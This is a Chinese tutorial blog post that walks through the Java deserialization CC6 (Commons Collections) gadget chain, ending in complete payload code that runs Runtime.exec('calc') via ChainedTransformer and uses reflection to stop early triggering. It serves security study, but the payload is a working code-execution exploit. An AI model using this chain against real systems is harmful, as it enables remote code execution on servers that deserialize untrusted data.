当前位置: 首页 > news >正文

Java反序列化利用链篇 | CC6链分析(通用版CC链)

文章目录

    • CC6和CC1之间的区别
    • CC6的调用链
    • 构造CC6的payload
      • 完成`TiedMapEntry.getValue()`
      • 完成`TiedMapEntry.hashCode()`
      • 完成`HashMap.hash()`及`HashMap.readObject()`
      • 解决`hash()`方法提前触发的问题

系列篇其他文章,推荐顺序观看~

  • Java反序列化利用链篇 | JdbcRowSetImpl利用链分析
  • Java反序列化利用链篇 | CC1链_全网最菜的分析思路
  • Java反序列化利用链篇 | CC1链的第二种方式-LazyMap版调用链
  • Java反序列化利用链篇 | URLDNS链
  • Java反序列化利用链篇 | CC6链分析(通用版CC链)

CC6和CC1之间的区别

在CC1的LazyMap链中,调用链如下:

AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()

而在CC1链中,对CommonsCollections和jdk版本是有限制的。

而CC6链不受版本影响,更具通用性。

其调用链为:

HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()

其和CC1的不同点在于,入口类不同,通过

HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()

调用了LazyMapget()方法。

CC6的调用链

  • HashMap.readObject()方法调用了HashMap.hash()方法:

  • HashMap.hash()方法调用了key.hashCode()方法,如果要使调用的是TiedMapEntry.hashCode()方法,需要使key参数为TiedMapEntry对象:

  • TiedMapEntry.hashCode()方法调用了TiedMapEntry.getValue()方法:

  • TiedMapEntry.getValue()方法调用了map.get()方法,如果要使被调用的是LazyMap.get()方法,需要使map属性为LazyMap对象:

构造CC6的payload

CC6和CC1-2的调用链后半段一致

// 1. 创建ChainedTransformer链
Transformer[] transformerArray = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);

完成TiedMapEntry.getValue()

TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象

TiedMapEntry的构造方法为public,所以可以直接实例化

代码如下:

这里有一个点需要注意(小坑):TiedMapEntry()构造方法的第二个参数用不到,所以随意传入进行,但是重要的是它接受一个Object对象,而这个对象的类需要实现Serializable接口,如果不是,则后续的序列化不能成功。
所以,这里不能传入new Object(),但可以传入new String(),因为Object类没有实现Serializable接口。

// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());

其中的getValue()也为public修饰,所以可以直接调用用来测试

tiedMapEntry.getValue();

运行,成功执行恶意代码:

完成TiedMapEntry.hashCode()

接下来,看谁调用了tiedMapEntry的getValue(),前面已经说过,TiedMapEntryhashCode()方法中有调用,因此:

tiedMapEntry.hashCode();

这里直接测试,此时代码如下(只是将getValue方法替换成了hashCode方法):

完成HashMap.hash()HashMap.readObject()

接下来就是HashMap中的hash()方法调用hashCode()方法,其中传入的key需要是tiedMapEntry

hash()方法没有被public修饰,不能直接调用,因此需要利用readObject()方法,因为在readObject()方法中存在hash()方法的调用。

readObject()方法在反序列化的时候会被调用,因此我们只需要创建一个HashMap对象,然后序列化即可。注意key需要保证是tiedMapEntry

代码如下:

  HashMap hashMap = new HashMap();hashMap.put(tiedMapEntry,null);  // 将tiedMapEntry当做key存入hashMap

此时的payload的代码如下:

// CC6和CC1-2的调用链后半段一致
// 1. 创建ChainedTransformer链
Transformer[] transformerArray = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
//        tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,会调用TiedMapEntry.getValue()
//        tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,null);  // 将tiedMapEntry当做key存入hashMapSerAndUnser.serialize(hashMap);
//        SerAndUnser.unserialize("ser.bin");

看似完美,但是运行会发现,即使不进行序列,也会弹计算器?

这是为什么呢?

如果我们进入hashMap的put()方法会发现,put()方法中已经触发了hash()方法,

接下来,解决一下这个问题

解决hash()方法提前触发的问题

这里其实跟URLDNS链中的情况差不多~

我们的解决思路是:

  • 1)tiedMapEntry对象在put方式放入hashMap对象时,使tiedMapEntry对象中的内容不完整,进而不让最终的代码触发。
  • 2)put完成之后,通过反射再将tiedMapEntry对象中的内容修改完整。

那如何让tiedMapEntry对象中的内容不完整呢?这里需要看一下tiedMapEntry对象中有什么:

可以看到tiedMapEntry对象中有lazyMap、chainedTransformer、transformerArray。

其中tiedMapEntry对象的map属性存放的就是lazyMap,我们将map属性设置为空的map对象(除上面创建的lazyMap都行),则最终就不会触发到恶意代码 (当然其他的也行:只要保证整个链子到不了恶意代码就行)。

第1步先获取到tiedMapEntry的map属性(map属性存放的就是lazyMap)

Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);

第2步将map属性设置为一个空的map对象(除上面创建的lazyMap都行)

mapField.set(tiedMapEntry,new HashMap());

第3步,完成put操作后,再将其设置为lazyMap对象

mapField.set(tiedMapEntry,lazyMap);

因此最终的payload为:

// 1. 创建ChainedTransformer链
Transformer[] transformerArray = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
//        tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,会调用TiedMapEntry.getValue()
//        tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
// 6. 解决hash提前触发问题
// 1)获取到tiedMapEntry的map属性(map属性存放的就是lazyMap)
Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);
// 2)将map属性设置为一个空的map对象(除上面创建的lazyMap都行)
mapField.set(tiedMapEntry,new HashMap());
// 3)执行之前的put操作,此时tiedMapEntry对象是不完整的
hashMap.put(tiedMapEntry,"aaa");  // 将tiedMapEntry当做key存入hashMap
// 4)完成put操作后,再将其设置为lazyMap对象
mapField.set(tiedMapEntry,lazyMap);SerAndUnser.serialize(hashMap);
SerAndUnser.unserialize("ser.bin");

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • windows下,用docker部署xinference,为什么老是提示localhost无法访问?
  • 记录一下,Vcenter清理/storage/archive空间
  • 计算Rocksdb每10秒下刷到L0的数据大小
  • VCNet论文阅读笔记
  • MinIO - macOS上配置、Python调用
  • Leetcode Hot 100刷题记录 -Day16(旋转图像)
  • YOLOv5白皮书-第Y1周:调用官方权重进行检测
  • Spring系统学习(一)——初识Spring框架
  • 蓝桥杯2024省C
  • P1439 【模板】最长公共子序列 (线性DP,LCS + LIS)
  • ElementUI 用span-method实现循环el-table组件的合并行功能
  • linux如何查看当前的目录所在位置
  • Python 二级考试
  • 变化检测(Change Detection)
  • 4.提升客户服务体验:ChatGPT在客服中的应用(4/10)
  • SegmentFault for Android 3.0 发布
  • [ JavaScript ] 数据结构与算法 —— 链表
  • [LeetCode] Wiggle Sort
  • [NodeJS] 关于Buffer
  • CSS盒模型深入
  • ES10 特性的完整指南
  • ES6简单总结(搭配简单的讲解和小案例)
  • express如何解决request entity too large问题
  • JavaScript 基础知识 - 入门篇(一)
  • java取消线程实例
  • Kibana配置logstash,报表一体化
  • Laravel Telescope:优雅的应用调试工具
  • Mac 鼠须管 Rime 输入法 安装五笔输入法 教程
  • MQ框架的比较
  • Python3爬取英雄联盟英雄皮肤大图
  • springboot_database项目介绍
  • SpringCloud集成分布式事务LCN (一)
  • Transformer-XL: Unleashing the Potential of Attention Models
  • Web设计流程优化:网页效果图设计新思路
  • 当SetTimeout遇到了字符串
  • 得到一个数组中任意X个元素的所有组合 即C(n,m)
  • 记一次和乔布斯合作最难忘的经历
  • 使用 5W1H 写出高可读的 Git Commit Message
  • 延迟脚本的方式
  • 再次简单明了总结flex布局,一看就懂...
  • ​3ds Max插件CG MAGIC图形板块为您提升线条效率!
  • # Kafka_深入探秘者(2):kafka 生产者
  • (13):Silverlight 2 数据与通信之WebRequest
  • (145)光线追踪距离场柔和阴影
  • (javascript)再说document.body.scrollTop的使用问题
  • (k8s)Kubernetes 从0到1容器编排之旅
  • (笔试题)合法字符串
  • (二)测试工具
  • (分类)KNN算法- 参数调优
  • (附源码)ssm户外用品商城 毕业设计 112346
  • (黑马出品_高级篇_01)SpringCloud+RabbitMQ+Docker+Redis+搜索+分布式
  • (全部习题答案)研究生英语读写教程基础级教师用书PDF|| 研究生英语读写教程提高级教师用书PDF
  • (三)docker:Dockerfile构建容器运行jar包
  • (十一)图像的罗伯特梯度锐化
  • (四)Linux Shell编程——输入输出重定向